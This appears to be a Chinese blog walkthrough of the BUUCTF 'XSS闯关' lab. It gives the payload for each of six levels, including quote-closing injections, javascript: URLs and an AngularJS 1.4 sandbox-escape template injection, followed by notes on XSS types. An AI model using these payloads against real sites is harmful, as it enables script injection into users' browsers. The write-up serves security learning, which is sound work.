当前位置:   article > 正文

BUUCTF[第二章Web进阶]XSS闯关教程_[第二章 web进阶]xss闯关

[第二章 web进阶]xss闯关

前言:

        该文章仅用于信息网络安全防御技术学习,请勿用于其他用途!

        该文章为纯技术分享,严禁利用本文章所提到的技术进行非法攻击!

登录靶场:BUUCTF在线评测

  1. 1、搜索XSS关键词,选择web进阶---XSS闯关
  2. 2、启动靶机,点击链接跳转到闯关链接
  3. 3、使用说明:本环境为闯关形式,每过一关即可进入下一关,过关目标为利用XSS漏洞在页面执行alert函数

  1. 4、选择点我开始
  2. 5、第一关(无任何过滤):?username=<script>alert('xss')</script>
  3. 此payload它的作用是在网页中弹出一个弹窗,内容为xss。如果这段代码被注入到网站中并成功执行,就会导致XSS注入攻击

  1. 6、第二关(闭合绕过):?username=1';alert(1);'1
  2. 想用第一关的payload,发现没有任何的回显
  3. 查看源代码发现JS编写了一个过滤,username被escape加密

  1. <script type="text/javascript">
  2. if(location.search == ""){
  3. location.search = "?username=xss"
  4. }
  5. var username = '<script>alert('xss')</script>';
  6. document.getElementById('ccc').innerHTML= "Welcome " + escape(username);
  7. </script>
  8. 使用’;结束前面的语句,后面加上函数alert(1);使用’1闭合后面的单引号

  1. 7、第三关(单引号转义):?username='';alert(1);'1
  2. (1)还是先用之前的payload测试一遍,
  3. (2)发现都不行,查看源代码发现单引号被转义

  1. <script type="text/javascript">
  2. if(location.search == ""){
  3. location.search = "?username=xss"
  4. }
  5. var username = '1\';alert(1);'1';
  6. document.getElementById('ccc').innerHTML= "Welcome " + username;
  7. </script>
  8. 这段代码的作用是在用户名中插入一段JavaScript代码,并利用转义字符来绕过输入限制。最终会在页面中输出一个包含alert(1)的弹窗。这也是一种常见的XSS攻击方式,利用用户输入的内容来实现注入。
  9. (3)代码中发现多了一个反斜杠+单引号(’),那么就相当于’'构成了闭合,那么我们的构造可以为:
  10. (4)'';alert(1);'1

  1. 8、第四关(伪链接):jumpUrl=javascript:alert(1)
  2. (1)这一关有点懵,页面10秒就会重定向一次,一直在循环
  3. (2)查看源代码:这段代码的作用是在页面中显示一个倒计时,并在倒计时结束后重定向到指定的链接。其中通过getQueryVariable函数来获取URL中的参数,并将其转义后输出到页面中
  4. (3)构造payload:jumpUrl=javascript:alert(1)
  5. (4)javascript:alert(1),浏览器会把javascript后面的内容当做代码执行,直接在当前页面执行。代码中接收jumpUrl作为跳转url

  1. 9、第五关(getQueryVariable()函数绕过):?autosubmit=1&action=javascript:alert(1)
  2. (1)这一关是一个表单提交,无论输入什么都会报错
  3. (2)查看源代码:如果出错就会执行getQueryVariable函数,不让它出错就完了
  4. (3)只要绕过这两个变量就可以

  1. getQueryVariable('autosubmit') !== false){ //如果出错就会执行getQueryVariable函数
  2. autoForm.action = (getQueryVariable('action') == false) ? location.href : getQueryVariable('action');
  3. //变量action执行getQueryVariable函数

  1. 10、第六关(xss模板注入):
  2. (1)还是一样输入之前的payload测试一下<script>alert('xss')</script>
  3. (2)发现没有用,查看源代码,发现不一样的一段
  4. (3)测试以下xss模板注入,5*6=30直接就给我算出了答案,说明存在xss模板注入的
  5. (4)指纹识别测试客户端JS版本
  6. (5)然后百度一下:https://www.nosec.org/home/detail/4153.html
  7. (6)确认了存在xss模板注入以后,构造payload
  8. (7)?username={{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}
  9. (8)Flag:n1book{xss_is_so_interesting}

知识点整理:

(1)反射型XSS

反射性XSS又称为非持久性XSS,这种攻击方式往往具有一次性。

攻击方式:攻击者通过电子邮件等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。

(2)存储型XSS

存储型XSS又称为持久型XSS,攻击脚本将被永久的放在目标服务器的数据库或文件中,具有很高的隐蔽性。

攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意代码连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意代码也永久的被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。

(3)DOM型XSS

DOM全称Document Objeect Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容,结构及样式。

DOM型XSS其实是一种特殊的反射型XSS,它基于DOM文档对象模型的一种漏洞。

4.XSS模板注入

Angular JS沙箱逃逸,从Angular1.6及以后版本,Angular沙箱已被删除。

验证XSS

Angular(版本小于1.6)内的典型XSS payload如下:

{{8*9}}

如果在pay;oad成功执行,结果72将会出现。

5.沙箱逃逸

Angular(版本号v1.4.0-v1.4.9)沙箱逃逸。

{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/我家小花儿/article/detail/712911
推荐阅读
相关标签
  

闽ICP备14008679号